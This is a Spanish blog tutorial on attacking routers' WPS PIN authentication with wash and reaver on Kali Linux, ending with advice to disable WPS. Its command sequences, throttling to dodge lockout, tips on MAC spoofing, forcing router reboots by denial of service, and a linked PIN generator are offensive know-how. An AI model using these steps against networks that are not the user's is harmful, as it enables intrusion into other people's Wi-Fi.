Notice: La función wp_enqueue_script ha sido llamada de forma incorrecta. Los scripts y estilos no se deberían registrar o poner en cola hasta que se carguen los ganchos wp_enqueue_scripts, admin_enqueue_scripts y login_enqueue_scripts. Este aviso ha sido activado por la gestión de nfd_wpnavbar_setting. Por favor, ve depuración en WordPress para más información. (Este mensaje fue añadido en la versión 3.3.0). in /home1/spotsail/public_html/martra/wp-includes/functions.php on line 6078
Atacando la autenticación por PIN de los routers. Temed al WPS insensatos! – Pere Martra
No se han encontrado widgets en la barra lateral
El WPS es inseguro, pero mucho

En esta quinta entrega del tutorial de hacking / pentesting básico veremos una forma de ataque a un router un poco más óptima que un ataque por fuerza bruta. La verdad es que vamos a aprovechar un errorrazo de diseño de seguridad llamado WPS. Bueno, en un principio no se diseñó como un error, sino como una forma alternativa de conectarse al Router.

Antes de empezar, veamos un resumen de lo visto hasta ahora en el tutorial:
Hemos montado un laboratorio de seguridad con Kali Linux. Nos hemos dado una vuelta por la deep web. Hemos realizado un escaneo de puertos para descubrir quien esta escuchando y hemos atacado una WiFi por fuerza bruta y ya de paso hemos visto la herramienta de generación de contraseñas.

Entendiendo el WPS

Lo primero, y que más nos servirá para entender este ataque es entender cómo funciona WPS. Lo que no vamos a entender es porque lo implementaron, y ya os avanzo que lo que entenderemos menos es cómo narices han llegado a implementarlo tan mal. Aunque para ser honestos, eran otros tiempos (creo que 2006) y a toro pasado todo es más sencillo.

Un router que tiene identificación por WPS (Casi todos los fabricados posteriormente a 2006) nos permite identificarnos introduciendo un PIN de 8 posiciones. Muy bien, ahora lo comparamos con la clave de 12 posiciones que esta apuntada en nuestro router y que puede contener tanto letras como números. Pasamos de esta clave alfanumérica a una de menor longitud y con muchisimas menos combinaciones posibles. La complejidad se ha reducido mucho, somos bastante más vulnerables a un ataque de fuerza bruta….

Pero no es todo, No. Alguien debió pensar que la cosa se podía mejorar y nadie, nadie saber porque tomo la siguiente decisión:
La contraseña se va a validar en dos partes, primero cuatro posiciones y después las cuatro siguientes.

Vamos a poner los números para que lo tengamos más o menos claro:

  • Contraseña de 10 posiciones con letras y números: 365.615.844.006.297 posibles combinaciones, no sé ni pronunciar el número.
  • PIN de 8 posiciones: 100.000.000 combinaciones posibles. Son muchas, pero la complejidad se ha reducido bastante.
  • PIN de 4 posiciones: 10.000 diferentes combinaciones. Es decir en el peor de los casos 20.000 intentos. ¿Por qué?
  • Vale, ahora ya lo tenemos bastante claro, el WPS no es ni de lejos un sistema seguro, es totalmente atacable, usando un sistema de fuerza bruta, o bueno el que sea.

    El WPS es inseguro, pero mucho

    Atacando el WPS de una WIFI

    Primero vamos a seguir los mismo paso que en el tutorial anterior, el del ataque por fuerza bruta.
    Ponemos la tarjeta en modo monitor.
    [code language=”shell”]
    ifconfig wlan0 down
    iwconfig wlan0 mode monitor
    ifconfig wlan0 up
    [/code]
    Matamos todos los procesos que pueden interferir con nuestra tarjeta:
    [code language=”shell”]
    airmon-ng check wlan0
    Found 4 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to run ‘airmon-ng check kill’

    PID Name
    400 NetworkManager
    624 wpa_supplicant
    632 dhclient
    891 dhclient

    kill 400 624 632 891
    [/code]
    Tened en cuenta que a vosotros os pueden salir unos procesos diferentes. Una vez matados todos con el comando kill volvemos a mirar con airmon-ng no sea que se haya quedado alguno.
    Vamos a ver que redes wi-fi tenemos cerca y cuales tiene el WSP activo:
    [code language=”shell”]
    wash -i wlan0
    [/code]

    Resultado del comando WASH.

    Como podemos ver, la ejecución de este comando ya nos da información suficiente sobre todas las redes que tenemos a nuestro alcance. En un principio cualquier red que contenga en un NO en la columna WPS Locked es vulnerable a este ataque. O dios!
    *Atención. Algunas veces el comando WASH falla, a mi me pasa, de tanto en tanto, dando el error: Failed to compile packet filter. En estos casos la secuencia a ejecutar es:
    [code language=”shell”]
    airmon-ng check kill
    ifconfig wlan0 down
    iwconfig wlan0 mode monitor
    ifconfig wlan0 up
    wash -i wlan0
    [/code]

    Ejecutando el ataque:
    El comando wash nos ha dado toda la información que necesitamos para provar este ataque de fuerza bruta, que lo único que necesita por nuestra parte es de paciencia. Es verdad que los router han ido poniendo medidas paliativas ante estos ataques, como hacer esperar a partir de la tercera petición, o incluso desconectar la posibilidad de realizar una ,conexión WPS después de unos cuantos intentos fallidos. Pero nada de esto es insalvable, tan solo retrasa lo inevitable. Ahhh, y estos paliativos tan solo los tienen los routers mas nuevos, digamos que hay muchos que simplemente permiten que entres en unos pocos minutos.
    [code language=”shell”]
    reaver -i –:–:–:–:–:– -c 1 -r 2:65 -vv
    [/code]
    Los parámetros son bastante deducible, pero vamos a verlos: primeros pasamos la MAC, después el canal, y le indicamos que haga tan solo dos intentos cada 65 segundos. Este último parametro no hace falta, pero así nos evitamos que sea el modem quien tome medidas más drásticas si detecta que está siendo atacado.
    Vale, si vamos tan poco a poco, esto va a ser lento ¿no? Pues sí, pero no importa, porque podemos guardar la sesión. Mientras se esté ejecutando el comando podemos interrumpir en cualquier momento con Ctrl+C. Cuando lo volvamos a introducir nos preguntará si queremos continuar por el punto donde lo dejamos y obviamente vamos a contestar que Sí!

    Bonus track

    Bueno, en todo momento, estoy asumiendo que hacemos las pruebas con nuestro router. Por eso obvio algunos consejos, que si que siguen la gente que se dedica a realizar estos ataques, como por ejemplo cambiar nuestra mac. Si señor! ¿Sabéis ese identificador único que tiene cada dispositivo de red? Pues se puede cambiar como si nada, con solo diez segundos y vais a saber como buscandolo por google. No creo que nadie tarde mas de cinco minutos en encontrar cómo se puede cambiar.

    ¿Qué podemos hacer si el router desconecta el WPS de forma automática? Pues forzar a que el administrador o usuario lo reinicie lanzado un ataque DoS. Los usuarios no podrán conectarse y lo mas normal es que reinicien el router, con lo que se volverá a activar el WPS. Valeeee, que si lo haces seis veces seguidas se van a cansar. ¿Que como lanzamos un ataque DoS? La forma más sencilla es ejecutar:
    [code language=”shell”]
    airodump-ng –bssid –:–:–:–:–:– wlan0
    [/code]
    Con esto tendría que bastar.

    Y ahora llega la repanocha:
    Por si esto fuera poco hay fabricantes que su PIN se calcula mediante un algoritmo con la única entrada de su MAC! Claro, como la MAC es única el PIN generado es único. Pero hay un problema, el algoritmo se ha comprometido y circulan por Internet unos cuantos programas que les das la MAC y te devuelven el PIN! Así sin ataque ni nada….
    Para poner un ejemplo, en github podemos encontrar el código en python que nos da el PIN de los routers D-LINK si introducimos su MAC.
    https://github.com/devttys0/wps/blob/master/pingens/dlink/pingen.py

    ¿Qué hacemos ahora?
    Si no lo has hecho todavía… CORRE!!!! VE A LA CONFIGURACION DE TU ROUTER Y DESACTIVA EL WSP!!!!! POR DIOS!
    Si no sabes entrar en la configuración de tu router lo que tienes que hacer es poner su IP en el navegador. La ip del router es la mas baja dentro de tu rango de IP’s. Para saberlo ejecuta ifconfig y si por ejemplo tu ip es 192.168.0.105 la ip de tu router será 192.168.0.1. Seguramente te pedira un usuario y un password para entrar, no te preocupes, buscalo por internet, seguramente lo encuentres poniendo “usuario password de router [mi compañía de internet]” suelen ser públicos, mas que nada que para conectarte con este usuario antes debes haber establecido una conexión con el router…. esto nos lleva otra vez a: DESACTIVA POR DIOS LA WPS ya que cualquiera que se conecte a tu router puede entrar en su configuración.
    Ahhh por cierto, otra cosa de la que preocuparnos, una vez alguien conoce nuestro PIN, lo conoce para siempre, este no se puede cambiar, lo pusieron tatuado a fuego dentro del chipset de nuestro router. No importa que cambiemos la contraseña, quien lo sepa podrá adivinarla en cuestión de minutos o segundos. El comando Reaver te la devuelve cuando descubre el PIN, y si ya lo sabe, pues no le va a costar mucho averiguar qué contraseña nueva has puesto.

    Recordad que este post forma parte del tutorial de Hacking / Pen Testing Básico

    Clonando un punto de acceso WiFi. Y instalar bridge-utils en Kali, que no es poco.

    Los puntos de acceso WiFi falsos son muy peligrosos, existen, y cualquiera puede ser víctima de ellos. Estamos ya en Read more

    Me he quedado con tu cara (Engañando a los sistemas de reconocimiento facial)

    Machine Learning, Biometric Recognition, Artificial Intelligence, Multi Layer Security in the beach... Estamos en una época apasionante para cualquier aficionado Read more

    Atacando por Fuerza Bruta una pobre Wi-Fi y generando ficheros de passwords INMENSOS.

    En esta cuarta entrada del tutorial de Hacking Básico vamos a ver cómo funcionan las herramientas de creación de listas Read more

    Que DDoS nos coja confesados.

    Tumbar Internet: Lo que hace poco parecía un guión digno de una película de "serie B" empieza a verse como Read more

    Por Martra

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *